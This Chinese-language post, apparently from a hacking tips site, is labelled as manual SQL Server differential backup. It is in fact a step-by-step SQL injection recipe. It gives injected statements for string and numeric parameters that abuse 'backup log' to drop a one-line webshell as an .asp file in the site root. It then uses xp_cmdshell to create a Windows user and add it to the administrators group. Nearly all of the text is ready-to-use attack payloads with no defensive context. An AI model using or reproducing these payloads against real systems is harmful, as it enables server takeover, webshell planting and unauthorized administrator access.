sqlserver 手工實現差異備份的步驟,需要的朋友可以參考下。
字符型:
1、恢復當前庫
;alter database 當前庫 set RECOVERY FULL–
2、建表cmd
;create table cmd (a image)–
3、備份當前庫到D:cmd1
;backup log 當前庫 to disk = ‘D:cmd1’ with init–
4、插入一句話代碼到創建的表cmd
;insert into cmd (a) values (”)–
5、備份一句話代碼到站點根目錄
;backup log 當前庫 to disk = ‘D:www_weboct.asp’–
6、完成
;drop table 創建的表–
數字型
1、恢復當前庫
‘;alter database 當前庫 set RECOVERY FULL–
2、創建表cmd
‘;create table cmd (a image)–
3、備份當前庫到D:cmd1
‘;backup log 當前庫 to disk = ‘D:cmd1’ with init–
4、插入一句話代碼到創建的表cmd
‘;insert into cmd (a) values (”)–
5、備份一句話代碼到站點根目錄
‘;backup log 當前庫 to disk = ‘D:www_weboct.asp’–
6、完成
‘;drop table 創建的表–
sa權限創建管理員用戶
1、判斷是否有注入;and 1=1 ;and 1=2
;and user_name()=’dbo’ 判斷當前系統的連接用戶是不是sa
2、添加系統的管理員
;exec master.dbo.xp_cmdshell ‘net user wk wk90/add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators wk /add’;–
逍遙復仇:有工具我是一定不會手工的,麻煩。